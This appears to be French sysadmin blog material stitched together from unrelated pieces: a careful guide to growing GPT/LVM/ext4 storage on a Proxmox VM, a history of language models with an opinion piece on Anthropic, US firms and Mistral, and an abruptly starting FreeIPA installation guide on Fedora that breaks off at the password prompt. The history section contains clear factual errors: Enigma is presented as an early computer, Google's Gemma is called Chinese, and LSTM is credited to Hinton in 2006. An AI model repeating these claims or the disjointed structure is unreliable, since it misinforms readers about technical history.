Document de référence rédigé à partir d'un cas réel : VM Ubuntu Server sur Proxmox, disque SCSI /dev/sda en GPT, racine sur LVM, agrandissement de 62 → 82 GiB.

1. Le principe fondamental : cinq couches, cinq tailles​

Le point de blocage que rencontrent 90 % des administrateurs vient d'une idée fausse : croire qu'agrandir le disque côté hyperviseur « remonte » automatiquement jusqu'au système de fichiers.

En réalité, chaque couche stocke sa propre taille, à un endroit physique différent du disque. Aucune ne l'interroge dynamiquement auprès de la couche du dessous.

┌─────────────────────────────────────────────────────────────────┐
│ 1. Disque virtuel (Proxmox / QEMU)                              │
│    Taille définie par l'hyperviseur → vue par le noyau invité   │
├─────────────────────────────────────────────────────────────────┤
│ 2. Table de partitions GPT                                      │
│    start/end en secteurs, écrits en LBA 1..33 et en fin de disque│
├─────────────────────────────────────────────────────────────────┤
│ 3. Physical Volume (PV) LVM                                     │
│    Nombre d'extents, écrit dans les métadonnées en tête du PV   │
├─────────────────────────────────────────────────────────────────┤
│ 4. Volume Group (VG) → Logical Volume (LV)                      │
│    Nombre de PE alloués au LV, dans les mêmes métadonnées       │
├─────────────────────────────────────────────────────────────────┤
│ 5. Système de fichiers (ext4 / XFS)                             │
│    Nombre de blocs, écrit dans le superbloc                     │
└─────────────────────────────────────────────────────────────────┘

Corollaire pratique : une extension se propage de bas en haut, une couche à la fois, avec une commande dédiée par couche. Sauter une étape ne provoque pas d'erreur — la commande suivante annonce simplement qu'il n'y a rien à faire.

Tableau de correspondance​

2. Couche 1 — De l'hyperviseur au noyau​

Ce qui se passe​

Après un qm resize (ou un clic dans l'interface Proxmox), le périphérique bloc exposé à la VM change de capacité. Le noyau invité doit être notifié pour mettre à jour son propre champ de capacité, visible dans /sys/block/<dev>/size (exprimé en secteurs de 512 octets, toujours, quelle que soit la taille de secteur physique).

Selon le type de contrôleur​

Forcer un rescan sur un device SCSI :

echo 1 > /sys/class/block/sda/device/rescan
# équivalent, via l'adresse H:C:T:L :
echo 1 > /sys/class/scsi_device/0:0:0:0/device/rescan

Cette écriture dans sysfs déclenche une commande SCSI READ CAPACITY vers le périphérique. Le noyau met à jour sa capacité et journalise l'événement :

dmesg | tail -5
# [ 1234.5 ] sd 0:0:0:0: [sda] 171966464 512-byte logical blocks: (88.0 GB/82.0 GiB)
# [ 1234.5 ] sda: detected capacity change from 66571993088 to 88046829568

Vérification​

lsblk -o NAME,SIZE,TYPE            # unités binaires (G = GiB)
lsblk -b -o NAME,SIZE              # octets bruts
cat /sys/block/sda/size            # secteurs de 512 o

Piège des unités. lsblk affiche en base 2 (82G = 82 GiB = 88,0 Go), Proxmox et les constructeurs en base 10. Un disque « 80 Go » n'affichera pas 80G sous lsblk. Vérifier en octets (lsblk -b) lève toute ambiguïté.

3. Couche 2 — La table de partitions​

C'est la couche où se concentrent tous les vrais pièges.

Anatomie d'un disque GPT​

LBA 0        │ Protective MBR (compatibilité, empêche les vieux outils d'écraser)
LBA 1        │ En-tête GPT primaire (signature, taille disque, first/last usable LBA, CRC)
LBA 2..33    │ Table des partitions (128 entrées × 128 o = 16 KiB = 32 secteurs)
   ...       │ ← zone de données : les partitions
LBA n-33..n-1│ Copie de la table des partitions
LBA n        │ En-tête GPT de secours

Retenir : 33 secteurs sont réservés à la toute fin du disque. C'est la source du problème principal.

Le piège n°1 : l'en-tête GPT de secours​

Quand l'hyperviseur agrandit le disque, l'en-tête de secours reste physiquement là où il était — donc au milieu du nouveau disque, plus à la fin. Pire, le champ last usable LBA de l'en-tête primaire pointe toujours sur l'ancienne limite.

Conséquence : le noyau refuse d'étendre une partition au-delà de cette ancienne limite, avec un message du type :

The last usable GPT sector is 130023390, but 171966430 is requested.
Failed to add partition: Invalid argument

C'est exactement ce que signale parted :

Warning: Not all of the space available to /dev/sda appears to be used,
you can fix the GPT to use all of the space (an extra 41943040 blocks)
or continue with the current setting?
Fix/Ignore?

Corriger revient à réécrire l'en-tête primaire (nouveau last usable LBA) et recopier l'en-tête de secours à la vraie fin du disque. En manuel : sgdisk -e /dev/sda. Mais growpart le fait tout seul — inutile de répondre à ce prompt.

Le piège n°2 : la partition doit être la dernière​

Une partition ne peut être étendue que dans l'espace libre immédiatement contigu à sa droite. On ne déplace pas une partition sans copier les données.

parted /dev/sda unit s print free

Chercher une ligne Free Space située après la partition à étendre. S'il existe une partition (swap, données) après elle, il faut soit la supprimer et la recréer plus loin (à froid, live CD), soit renoncer et ajouter un second disque (voir §8).

Le piège n°3 : préserver type et UUID​

Une extension mal faite (fdisk : delete + recreate à la main) peut :

• changer le secteur de départ → perte totale des données ;
• perdre le type de partition → GRUB ou LVM ne retrouvent plus leur bien ;
• changer le PARTUUID → un /etc/fstab ou un root=PARTUUID= en ligne de commande noyau cassé.

La bonne pratique : growpart​

Paquet cloud-guest-utils (Debian/Ubuntu) ou cloud-utils-growpart (RHEL/Rocky). C'est l'outil qu'utilise cloud-init au premier démarrage de toute image cloud — il est éprouvé à très grande échelle.

growpart --dry-run /dev/sda 3     # simulation, n'écrit rien
growpart /dev/sda 3               # exécution

Syntaxe : disque et numéro de partition sont deux arguments séparés. growpart /dev/sda3 échoue.

Ce que growpart enchaîne en interne :

1. lecture de la table via sfdisk -d ;
2. calcul de la nouvelle taille, bornée par le début de la partition suivante ou par la fin réelle du disque moins les 33 secteurs GPT ;
3. sauvegarde du PMBR et des en-têtes GPT dans /tmp/growpart.XXXX/ ;
4. réapplication du dump sans la ligne last-lba — ce qui force sfdisk à recalculer la dernière LBA utilisable et à réécrire les deux en-têtes ;
5. notification au noyau via partx --update.

Il refuse d'agir si le gain est inférieur à 10 Mio (option --fudge, défaut 20480 secteurs).

Lire un --dry-run : l'exemple réel​

CHANGE: partition=3 start=2101248 old: size=127922143 end=130023391
                                  new: size=169865183 end=171966431

Contrôles à faire soi-même :

• start inchangé (2101248 dans les deux dumps) → aucune donnée déplacée. C'est le point vital.
• type et uuid inchangés → fstab, GRUB et LVM ne voient aucune différence.
• Fin cohérente avec les 33 secteurs réservés : 171966464 (taille disque) − 33 = 171966431 → le nouveau end tombe pile sur la limite. Le calcul GPT est correct.

Notifier le noyau​

Si lsblk montre encore l'ancienne taille après growpart :

partx -u /dev/sda3       # ioctl BLKPG, partition par partition — fonctionne à chaud
partprobe /dev/sda       # relecture globale de la table

partx -u est préférable quand des partitions du disque sont montées : il redimensionne une partition précise sans exiger une relecture complète de la table, opération que le noyau peut refuser (EBUSY) si le disque est en cours d'utilisation.

Cas MBR​

growpart gère aussi le MBR (via sfdisk), sans la problématique d'en-tête de secours. Limites propres au MBR : 4 partitions primaires, et 2 Tio maximum par partition.

4. Couche 3 — Le Physical Volume LVM​

Pourquoi pvs affiche PFree 0​

pvs n'interroge pas le périphérique. Il lit les métadonnées LVM inscrites au début du PV, qui contiennent le nombre d'extents physiques. Tant que ces métadonnées n'ont pas été réécrites, LVM reste convaincu que le PV a sa taille d'origine — même si la partition sous-jacente a doublé.

C'est un choix de conception cohérent : les métadonnées LVM sont la source de vérité, ce qui permet notamment de déplacer un PV d'un disque à l'autre sans rien perdre.

Structure du début d'un PV​

octet 0        │ (souvent vide)
secteur 1      │ Label LVM : signature « LABELONE » + UUID du PV
offset 4096    │ Metadata Area (MDA) : description texte du VG, des LV, du mapping des PE
offset 1 MiB   │ pe_start : premier extent de données (alignement par défaut)

L'alignement à 1 Mio (pe_start = 2048 secteurs) sert à faire coïncider les extents avec les frontières d'effacement des SSD et les bandes RAID.

À observer : les métadonnées sont en tête du PV. Étendre la partition par la fin ne les touche donc jamais. C'est ce qui rend l'opération sûre.

pvs -o pv_name,pv_size,pv_free,pv_pe_count,pv_pe_alloc_count
pvdisplay /dev/sda3

La commande​

pvresize /dev/sda3

pvresize interroge la taille réelle du périphérique auprès du noyau (BLKGETSIZE64), recalcule le nombre d'extents et réécrit les métadonnées LVM. Opération faisable à chaud, avec des LV actifs et montés — c'est explicitement prévu par la documentation LVM.

Sans argument de taille, il aligne le PV sur la taille du périphérique. L'option --setphysicalvolumesize force une valeur, uniquement utile pour réduire (LVM refuse de toute façon de rétrécir un PV si des extents sont alloués au-delà de la nouvelle limite).

Filet de sécurité intégré​

Toute commande LVM modifiant les métadonnées en archive automatiquement la version précédente :

/etc/lvm/archive/   ← historique horodaté (avant chaque modification)
/etc/lvm/backup/    ← état courant

En cas de catastrophe : vgcfgrestore -l ubuntu-vg pour lister, puis vgcfgrestore -f <fichier> ubuntu-vg.

5. Couche 4 — Volume Group et Logical Volume​

Le modèle des extents​

LVM découpe chaque PV en Physical Extents (PE) de taille fixe, 4 Mio par défaut. Un LV est simplement une liste de PE, potentiellement répartis sur plusieurs PV. Cette indirection est ce qui autorise l'extension à chaud, le déplacement en ligne (pvmove) et les snapshots.

vgs -o vg_name,vg_size,vg_free,vg_extent_size,vg_extent_count,vg_free_count
lvs -o +seg_pe_ranges          # à quels PE physiques correspond chaque LV

Étendre​

lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv     # tout l'espace libre du VG
lvextend -L +10G     /dev/ubuntu-vg/ubuntu-lv     # 10 Gio de plus
lvextend -L 50G      /dev/ubuntu-vg/ubuntu-lv     # jusqu'à 50 Gio au total

Distinction à retenir :

• -l : en extents ou en pourcentage (+100%FREE, +50%FREE, 90%VG)
• -L : en octets (suffixes M, G, T)
• + : ajoute à la taille actuelle. Sans +, la valeur est absolue — la confusion entre -L 10G et -L +10G est une erreur classique.

Conseil d'administrateur : ne pas systématiquement consommer +100%FREE. Garder de la marge dans le VG permet de créer un snapshot avant une opération risquée, ou d'étendre un autre LV en urgence. C'est la raison d'être de LVM.

Étendre le système de fichiers dans la foulée​

lvextend -l +100%FREE -r /dev/ubuntu-vg/ubuntu-lv

-r / --resizefs délègue à fsadm, qui détecte le type de FS et appelle l'outil adapté. Pratique, mais faire les deux étapes séparément permet de mieux comprendre — et de garder la main en cas de problème.

6. Couche 5 — Le système de fichiers​

ext4​

resize2fs /dev/ubuntu-vg/ubuntu-lv        # jusqu'à la taille du device
resize2fs /dev/ubuntu-vg/ubuntu-lv 40G    # taille cible explicite

• Extension à chaud : supportée nativement, système monté et en production. Le noyau gère l'online resize pour ext3/ext4 depuis longtemps.
• Réduction : impose un démontage préalable et un e2fsck -f obligatoire. Impossible sur / sans live CD.
• Le mécanisme repose sur la fonctionnalité resize_inode (activée par défaut), qui préalloue des blocs de descripteurs de groupes pour permettre la croissance.

dumpe2fs -h /dev/ubuntu-vg/ubuntu-lv | grep -E 'Block count|Block size|features'

XFS​

xfs_growfs /                              # ATTENTION : point de montage, pas device

Deux différences majeures avec ext4 :

1. xfs_growfs prend le point de montage en argument. Lui passer un device échoue.
2. XFS ne sait pas rétrécir. Jamais, aucune option. Seule issue : sauvegarder, recréer, restaurer.

Vérification finale​

df -h /

df lit le superbloc via statfs(). Une taille inchangée ici après un resize2fs réussi signifie généralement qu'on a redimensionné le mauvais device.

7. Procédure complète de référence​

Cas type : partition LVM en dernière position sur GPT, racine ext4.

# ─── 0. Diagnostic ────────────────────────────────────────────────
lsblk
pvs ; vgs ; lvs
findmnt -no FSTYPE /
parted /dev/sda unit s print free      # espace libre APRÈS la partition cible ?

# ─── 1. Le noyau voit-il la nouvelle taille ? ─────────────────────
lsblk -b -o NAME,SIZE
# sinon, pour un device SCSI :
echo 1 > /sys/class/block/sda/device/rescan

# ─── 2. Sauvegardes ───────────────────────────────────────────────
sfdisk -d /dev/sda > /root/sda-partition-table.backup
# + snapshot Proxmox

# ─── 3. Partition ─────────────────────────────────────────────────
growpart --dry-run /dev/sda 3          # VÉRIFIER : start inchangé
growpart /dev/sda 3
lsblk /dev/sda                         # sda3 doit avoir grandi
partx -u /dev/sda3                     # seulement si lsblk n'a pas bougé

# ─── 4. Physical Volume ───────────────────────────────────────────
pvresize /dev/sda3
vgs                                    # VFree doit refléter le gain

# ─── 5. Logical Volume + système de fichiers ──────────────────────
lvextend -l +100%FREE -r /dev/ubuntu-vg/ubuntu-lv

# ─── 6. Contrôle ──────────────────────────────────────────────────
df -h /

Aucun redémarrage n'est nécessaire à aucune étape.

8. Cas particuliers​

Le PV occupe le disque entier (pas de partition)​

Si pvs affiche /dev/sdb et non /dev/sdb1, il n'y a pas de table de partitions. On saute toute la couche 2 :

pvresize /dev/sdb
lvextend -l +100%FREE -r /dev/vg/lv

Une partition se trouve après la partition LVM​

L'extension en place est impossible. Trois options, par ordre de préférence :

1. Ajouter un second disque virtuel (voir ci-dessous) — sans interruption, sans risque ;
2. supprimer/recréer la partition gênante à froid (live CD) ;
3. migrer les données vers un nouveau disque.

Ajouter un disque plutôt qu'étendre — souvent la meilleure option en VM​

C'est la façon la plus propre et la plus sûre d'agrandir un VG. Aucune table de partitions à réécrire.

# après ajout du disque dans Proxmox
echo "- - -" > /sys/class/scsi_host/host0/scan     # détection à chaud
lsblk

pvcreate /dev/sdb                    # PV sur le disque brut, sans partition
vgextend ubuntu-vg /dev/sdb          # ajout au VG existant
lvextend -l +100%FREE -r /dev/ubuntu-vg/ubuntu-lv

Contrepartie : le LV s'étale sur deux disques virtuels, ce qui complique légèrement la maintenance ultérieure (et rend obligatoire un pvmove pour retirer un disque).

Thin provisioning​

Si lvs affiche des colonnes Pool, Data% et Meta% renseignées, le LV est thin. L'extension du pool suit la même logique, mais il faut surveiller aussi le volume de métadonnées :

lvextend -L +20G ubuntu-vg/thinpool                    # données
lvextend --poolmetadatasize +1G ubuntu-vg/thinpool     # métadonnées

Un pool de métadonnées saturé rend le pool entier illisible, c'est une panne bien plus grave qu'un simple disque plein.

9. Diagnostic rapide​

10. Sécurité et bonnes pratiques​

À faire systématiquement

• Snapshot ou sauvegarde de la VM avant de toucher à la table de partitions.
• sfdisk -d /dev/sda > backup.txt — restauration possible par sfdisk /dev/sda < backup.txt.
• Toujours passer par growpart --dry-run et vérifier que start est inchangé.
• Travailler sur une console série ou l'écran Proxmox plutôt qu'en SSH : une coupure réseau au mauvais moment n'interrompt pas la commande, mais prive de la sortie.

Le vrai risque, honnêtement évalué

L'unique scénario dangereux est une coupure brutale (crash de l'hôte, OOM) pendant la réécriture de la table de partitions. Les données resteraient intactes, mais la table serait incohérente et le disque non amorçable jusqu'à reconstruction. La fenêtre concernée est de quelques millisecondes, et l'opération est celle que cloud-init exécute au premier boot de millions d'instances cloud par jour. Les étapes 4 à 6 (pvresize, lvextend, resize2fs) sont, elles, sans risque réel : elles sont conçues pour tourner à chaud en production.

Rappel structurel

• Proxmox ne sait qu'agrandir un disque, jamais le réduire.
• ext4 peut rétrécir (à froid), XFS jamais.
• Réduire un LV avant son système de fichiers détruit les données. Dans le doute : ne pas réduire.

Annexe — Commandes de référence​

# Inspection
lsblk -o NAME,SIZE,FSTYPE,MOUNTPOINT,TYPE
lsblk -b                                    # en octets
blkid                                       # UUID et types
parted /dev/sda unit s print free
sfdisk -d /dev/sda                          # dump exploitable de la table
sgdisk -p /dev/sda                          # vue GPT détaillée
cat /proc/partitions

# LVM
pvs -o+pv_used,pv_pe_count                  # vue PV enrichie
vgs -o+vg_extent_size
lvs -o+devices,seg_pe_ranges
pvdisplay -m /dev/sda3                      # mapping des extents
vgdisplay ubuntu-vg
lvmdiskscan

# Systèmes de fichiers
dumpe2fs -h /dev/mapper/ubuntu--vg-ubuntu--lv
xfs_info /
tune2fs -l /dev/mapper/ubuntu--vg-ubuntu--lv

# Récupération LVM
vgcfgrestore -l ubuntu-vg                   # lister les archives
vgcfgrestore -f /etc/lvm/archive/xxx.vg ubuntu-vg

Pages de manuel à consulter : lvm(8), pvresize(8), lvextend(8), growpart(1), sfdisk(8), sgdisk(8), resize2fs(8), xfs_growfs(8), partx(8).

Petite introduction historique​

Je ne change pas mes vieilles habitudes, j'aime bien comprendre d'où provient tout ce que l'on a alors, un petit cours d'histoire

Les premiers travaux fondateurs datent des années 1940-1950 (oui oui, si tôt, très tôt même, on venait à peine de créer ce que l'on pouvait nommer ordinateur aka Enigma), avec les idées de Shannon (théorie de l'information en 1948) sur l'entropie de langage et les modèles de prédiction de mots, et Turing (1950) qui pose les bases théoriques de l'IA. Mais c'est dans les années 1960-1970 que naissent les premiers modèles statistiques de langage, comme les n-grammes (modèles de Markov appliqués au texte), conçus pour prédire le mot suivant dans une phrase à partir des n-1 précédents.

Ces modèles simples mais efficaces étaient initialement utilisés pour la compression de texte et la reconnaissance vocale, puis plus largement pour de la traduction automatique statistique (comme le système SYSTRAN en 1968 développé pour la commission européenne et l'US air force). L'objectif était pragmatique : automatiser la traduction entre langues sans recourir à des règles linguistiques manuelles, trop coûteuses à maintenir.

Dans les années 1980-1990, l’apprentissage automatique prend le relais avec les réseaux de neurones (notamment les RNN, Recurrent Neural Networks), capables de capturer des dépendances à longue portée dans le texte. Les travaux de Rumelhart et McClelland (1986) sur les réseaux à propagation avant (feedforward) et ceux de Elman (1990) sur les RNN ouvrent la voie à des modèles distribués du langage, où les mots sont représentés par des vecteurs (embeddings) apprenant leurs relations sémantiques. Ces avancées visaient à surmonter les limites des n-grammes, incapables de généraliser à des contextes non vus. Les applications cibles restaient la traduction, mais aussi la génération de texte et le dialogue homme-machine.

Mais alors d'où nous vient le tournant qui nous a amené aujourd'hui à utiliser des modèles que l'on nomme "LLM" ? Ce tournant s'est produit dans les années 2010 avec deux innnovations majeures :

1. l'apprentissage profond (deep learning), popularisé par Hinton (2006) avec des architectures comme LSTM (Long Short-Term Memory) et GRU qui permettent entre autre les gradients évanescents dans les RNN, permettant d'apprendre des dépendances sur de longues séquences.
2. L'attention introduite par Bahdanau et al. (2014) pour la traduction automatique, qui permet au modèle de se concentrer sur les parties pertinentes de la séquence d'entrée, améliorant radicalement les performances.

C'est en 2017 que Vaswani et al. (Google) publient "Attention is all you need", proposant l'architecture Transformer, qui abandonne les RNN au profit de mécanismes d'attention auto-régressifs et parallélisables. Cette architecture, conçue pour la traduction se révèle si efficace qu'elle est devenue la base des LLM modernes. Les premiers modèles BERT (2018, Google) et GPT (2018, OpenAI) exploitent cette architecture pour des tâches de compréhension (BERT, bidirectionnel) et de génération (GPT, unidirectionnel), en les pré-entraînant sur de grands corpus de texte (comme BooksCorpus, Wikipedia et bien d'autres de manière rarement légale) via des objectifs auto-supervisés (masked-language-modeling pour BERT et next-token-generation pour GPT).

Tout cela nous amène aujourd'hui, où les objectifs de traduction ont été dépassés depuis bien longtemps par notre société de consommation. Que cela soit de la génération d'image, de texte, de code, on a transformé cet outil de traduction par un outil capable de générer toute sorte de choses. Cet essor a été permis par la quantité de données avalées par ces modèles (toujours plus de texte emmagasiné, si bien qu'on estime aujourd'hui que tout internet est déjà utilisé pour l'entraînement de ces modèles) mais également la puissance et l'efficience des puces. Nous devons cette dernière partie grandement à Nvidia qui a su designer des puces particulièrement efficaces et a permis une baisse drastique du coût d'entraînement des modèles (devenu la partie la plus coûteuse des LLM).

Tout cela a par la même occasion permis une augmentation plus qu'impressionnante du prix des composants électronique, plus particulièrement de la mémoire informatique sous toutes ses formes (RAM, SSD, cache, toute sorte de mémoire). Si bien que beaucoup commencent à se demander s'il n'y a pas une forme de complot entre tous les grands fabriquants de puce qui leur permettrait de garder les prix au plus haut sans se concurrencer... D'autres médias en parleront mieux que mes quelques mots :

• JVTECH
• Gamekult
• 01net

Et aujourd'hui alors ?​

Comme tout le monde je pense, je me suis rapidement pris d'affection pour ces outils particulièrement efficaces. En ce moment, la guerre des grands acteurs de l'IA se joue principalement sur plusieurs domaines :

1. Celui qui répond le plus vite
2. Celui qui répond de manière la plus réfléchie que l'on définit de plus en plus comme une forme "d'intelligence"
3. Celui qui fait le plus sensation

Il est depuis un peu plus de 6 mois évident que la société Anthropic à l'origine de la suite de LLM nommé "Claude" est en tête sur chacun de ces domaines. Et je fais partie de ceux qui compte parmis ses utilisateurs les plus fidèles (à mon plus grand regret).

Et pour avoir testé leurs modèles de plus en plus souvent, je dois avouer qu'il est désormais compliqué de s'en passer. Et ce pour plusieurs raisons :

1. L'efficacité. Être capable de faire quelque chose correctement et plus rapidement ne peut être que bénéfique pour nous ou pour la société pour qui on travaille. Un compromis gagnant gagnant.
2. L'apprentissage. C'est probablement l'utilisation la plus intéressante selon moi, et là dedan Claude est plus que performant. Avant de devenir le grand remplacement des humains, l'IA est un outil. Un outil capable de faire ce qu'on lui demande, et pour apprendre de nouveaux concepts, de nouvelle méthode, c'est vraiment un outil particulièrement pertinent

Cependant à tout point positifs, ses points négatifs et il faut bien les connaîtres. Premièrement, dans cette guerre aux IA, la grande majorité des prétendants sont Etats-Uniens, et ce sont donc des sociétés qui ne sont pas fiable par définition. Je pense que les récents événements dans le domaine tel que la coupure récente des modèles phares de Claude ou du dernier modèle de chatGPT reflète parfaitement cela. Après tout on ne réinvente pas la poudre, on le saurait si les Etats-Unis étaient un État qui existait pour le bien du monde. Ses intérêts passent avant toute autre chose. Et donc, les données que l'on donne à ces entreprises, les réponses qu'elle génèrent peuvent et sont probablement déjà largement utilisées de manière illégale (contre la règlementation Européenne, les RGPD, l'IA Act, tout ça tout ça...).

Cette vision des chose reste largement à garder lorsque l'on utilise ces modèles. Que ça soit Claude chatGPT ou d'autres prétendants Etats-Uniens, tous resteront sous l'emprise de l'Etat.

Et mistral dans tout ça​

Oui, je suis long à introduire tout ça, mais mieux vaut du contexte pour parler du loup, car il ne fait pas l'unanimité.

Premièrement, je sais pertinemment que pour le moment Mistral ressemble plus à un modèle GPT3 qu'à un Opus de chez Claude. On peut le voir au travers de ses réponses interminables, son incapacité à se corriger, son utilisation plus que pénible des émoijis... Des signes qui montrent une seule chose : Mistral est loin derrière, et on peut le vérifier de par ses réponses que par son porte monnaie. Je vous laisse un avant goût de la apitalisation boursière des plus grands, puis je vous dit que le porte-monnaie de Mistral approximativement de 6.5 Milliards d'euros, là où OpenAI (852 Md$) et Anthropic (965 Md$) frôlent les 1000 milliards de dollars de valorisation privée, en préparation de leur introduction en bourse (IPO) prévue 2026-2027. Donc si je résume, je vous fais un article pour vous parler d'une IA Française souveraine qui n'a ni la puissance de calcul, ni les moyens financiers, ni la politique de son côté, mais de quoi je vous cause ?

Eh bien, on parle aujourd'hui de la seule société qui permet aux entreprises du monde entier de faire tourner son modèle de manière souveraine sans risquer une fuite de donnée ou une utilisation illégale de ces dernières. Mistral permet aux sociétés qui le veulent d'entraîner des modèles Customisés capable de tourner dans une infrastructure privée complètement hors ligne. Et cerise sur la gateau : Mistral est une société Française et donc est RGPD-compliant par défaut, que demander de plus pour garantir la sécurité de ses données ? Cela leur permet d'avoir des modèles pour aider ces entreprises dans tout un tas de domaine. Et ÇA, c'est une chose que seule notre belle petite société française sait faire.

Le placement de cette société se fait aussi dans le domaine open-source. Leurs modèles sont pour la plupart disponible en ligne et on peut tous les faire tourner sur des machines qui en ont la capacité. Vous allez me dire que beaucoup d'autres modèles sont open-source ou ont un placement similaire. On peut penser à juste titre à des modèles chinois tels que Gemma de Google, mais aucun n'a pour le moment cette présence qu'a Mistral sur le marché professionnel.

Une certaine gamme de modèle propriétaire (mistral Large par exmeple) ont vocation à être déployé en local dans les entreprise ou customisé directement dans l'interface web mistral studio.

Aujourd'hui être souverain est devenu au delà d'un simple mot une valeur essentielle. Avoir la capacité de sécuriser ses forces les plus importantes et les produire sans l'aide de quiconque est extrêmement important. De Gaulle nous l'a montré avec le nucléaire et Dassault avec l'aviation. L'IA est devenu une arme à part entière, regardez-donc Palantir... Une belle société utilisant l'IA pour optimiser les décisions de guerre. Quelle belle utilisation de la technologie n'est-ce pas ?

Mistral n'est peut-être pas la société la plus performante du moment, ni même la plus intéressante à utiliser et elle ne le sera probablement jamais, mais elle doit continuer d'exister ou nous serons une fois de plus à la merci des USA ou de la Chine comme nous le sommes toujours au niveau du cloud ou des solutions d'entreprise (Microsoft 365).

Dans ce domaine, nous ne pouvons que remarquer l'effort que fait le gouvernement de développer des solutions open-source pour ne pas dépendre des états-unis (LaSuite, Tchap et tous les outils qui s'en suivent). Cela montre une volonté forte d'être souverain en informatique. Cette partie se montre déjà par l'hébergement des services de l'Etat dans les infrastructures du ministère de l'intérieur. Mais elle se montre également par le parti pris de l'État de rendre ces solutions open-source. C'est littéralement une invitation toute faite aux entreprises privées de prendre des solutions développées par un État et de contribuer à leur développement !

Ce serveur sera central dans l'authentification sur le réseau, la résolution DNS, la gestion des utilisateurs et des machines.

Pourquoi FreeIPA​

Il existe beaucoup de solutions OpenSource qui permettent de faire office d'annuaire LDAP. Ce protocole a pour objectif d'être une source de vérifé des identités dans la plupart des organisations. Cela permet plein de chose, notamment une harmonisation des utilisateurs. Au lieu de se retrouver avec le même compte ayant le même identifiant sur chaque ressource interne (et tous indépendant les uns des autres), on se retrouve avec une identité unique qui permet d'aller partout (lorsque le protocole est pris en charge).

L'avantage de FreeIPA est que c'est un outil particulièrement complet avec la possibilité de faire plein de choses :

• Annuaire LDAP
• Résolution DNS (sur un domaine interne ou en tant que serveur de relai)
• PKI afin de gérer des certificats et faire office d'autorité de certification principale
• Authentification sur le réseau via des protocoles comme RADIUS ou kerberos permettant ainsi d'authentifier un utilisateur ou une machine sur le réseau de manière sécurisée en utilisant l'annuaire LDAP

De surcroît, c'est une solution développée par RedHat qui reste une entité reconnue pour la sécurité des solutions qu'ils développent. Et qui d'ailleurs sont utilisées mondialement. Allez jeter un coup d'oeil à leur documentation pour plus de précision sur la solution : Documentation officielle FreeIPA

Quel OS utiliser ?​

Là dessus, on a plein de solutions différentes. On peut se dire "FreeIPA = RedHat" donc on va aller sur RHEL. Souci, ça reste une solution privée même si on peut avoir des licences pour des environnements restreints (comme des labs).

Je compte partir sur Fedora qui est en fait l'origine de RHEL. RedHat se base des sources de Fedora pour construire un OS plus restreint / sécurisé afin d'en faire une solution propre à une utilisation professionnelle pouvant remplacer microsoft. Et donc tous les outils nécessaire seront disponible facilement / nativement dans fedora.

Installation de fedora​

Il faut pour ça aller récupérer sa meilleure iso fedora server et l'envoyer dans proxmox.

Pour ma part, j'ai donc créé mon serveur sur mon bridge internal avec le vlan 20 (donc sur le réseau 10.20.20.0/24)

Une fois le serveur lancé, vous aurez une belle petite interface graphique qui vous permet de tout installer en quelques clics.

sudo ip route add 10.0.0.0/8 dev [l'interface réseau] via 192.168.1.250

curl https://192.168.1.250 -k
curl: (35) Recv failure: Connexion ré-initialisée par le correspondant

Une fois l'installation terminée, le serveur redémarre et vous pouvez vous connecter avec le compte que vous avez configuré.

Installation de FreeIPA​

Avant de commencer l'installation de l'outil, il y a pas mal de points importants qu'il faut configurer au préalable pour garantir le bon fonctionnement de l'outil.

Vérifier les dernières mises à jour​

sudo dnf upgrade --refresh

~$resolvectl status
Global
         Protocols: LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported
  resolv.conf mode: stub

Link 2 (ens18)
    Current Scopes: LLMNR/IPv4 LLMNR/IPv6
         Protocols: -DefaultRoute LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported
     Default Route: no

~$nmcli connection show
NAME                UUID                                  TYPE      DEVICE
Wired connection 1  4a8a76d4-57c6-3690-b374-80b7cf81fe68  ethernet  ens18
lo                  1f2c0a59-bacc-4bda-af03-bbd99d9a6d94  loopback  lo

sudo nmcli connection modify "Wired connection 1" ipv4.dns "8.8.8.8 1.1.1.1"
sudo nmcli connection modify "Wired connection 1" ipv4.ignore-auto-dns no
sudo nmcli connection up "ens18"

resolvectl status
Global
         Protocols: LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported
  resolv.conf mode: stub

Link 2 (ens18)
    Current Scopes: DNS LLMNR/IPv4 LLMNR/IPv6
         Protocols: +DefaultRoute LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported
Current DNS Server: 8.8.8.8
       DNS Servers: 8.8.8.8 1.1.1.1
     Default Route: yes

Configuration hostname et DNS​

C'est l'un des points les plus importants de kerberos (le protocole qui est au coeur de l'authentification sur FreeIPA) qui est extrêmement sensible à la résolution DNS. Lorsque l'on installe FreeIPA, ce dernier vérifie que le hostname ne soit pas localhost et qu'il soit pleinement qualifié (FQDN), qu'il soit résolvable et que le reverse DNS de l'IP résolue corresponde au hostname.

Beaucoup d'explications, mais pas beaucoup de commandes :

# Définition du nom de domaine de façon permanente
sudo hostnamectl set-hostname freeipa.home.lan

# Vérification
hostname -f

Ensuite, il est impératif que ce nom de domaine que vous avez défini soit inscrit dans le fichier /etc/hosts afin que la résolution locale fonctionne.

Pour ma part cette modification est :

10.20.20.1      freeipa.home.lan

Vérification​

Pour vérifier ça :

hostname -f 				# Doit retourner le domaine complet, pour moi : freeipa.home.lan
ping -c1 freeipa.home.lan 	# Ou avec le nom de votre serveur, ce ping doit fonctionner et aller sur l'IP que vous avez défini dans le fichier hosts
ping -c1 google.com 		# Juste pour vérifier la résolution de nom internet

Configuration des règles de pare-feu​

FreeIPA empile plusieurs services réseaux, et pour cela Fedora propose des règles de service qui sont pré-définies dans Fedora.

Pour cela il suffit :

firewall-cmd --add-service=freeipa-4 --permanent
firewall-cmd --add-port=53/tcp --add-port=53/udp --permanent

La première commande prend en compte les ports : TCP 80, 443, 389, 636, 88, 464 et UDP 88, 464, 123. Soit concrètement HTTP/S pour l'interface web, LDAP/S pour l'annuaire, Kerberos (88) et kadmin (464) pour l'authentification et NTP.

La seconde permet de rajouter le port 53 pour la résolution DNS.

Installation de FreeIPA​

Une fois tout ça fini, on installe FreeIPA

sudo dnf install freeipa-server-dns

Il existe également une version sans résolution, il suffit d'y enlever le -dns à la fin.

Une fois installé il suffit de :

sudo ipa-server-install

Vous serez alors amené dans un prompt interactif vous demandant :

1. si le script doit installer un DNS intégré (BIND)

   Pour moi oui

2. Le nom complet de la machine (qui sera normalement déjà rempli)

3. Le nom de domaine de votre domaine

   Pour moi home.lan

4. Le mot de passe de l'utilisateur Directory Manager

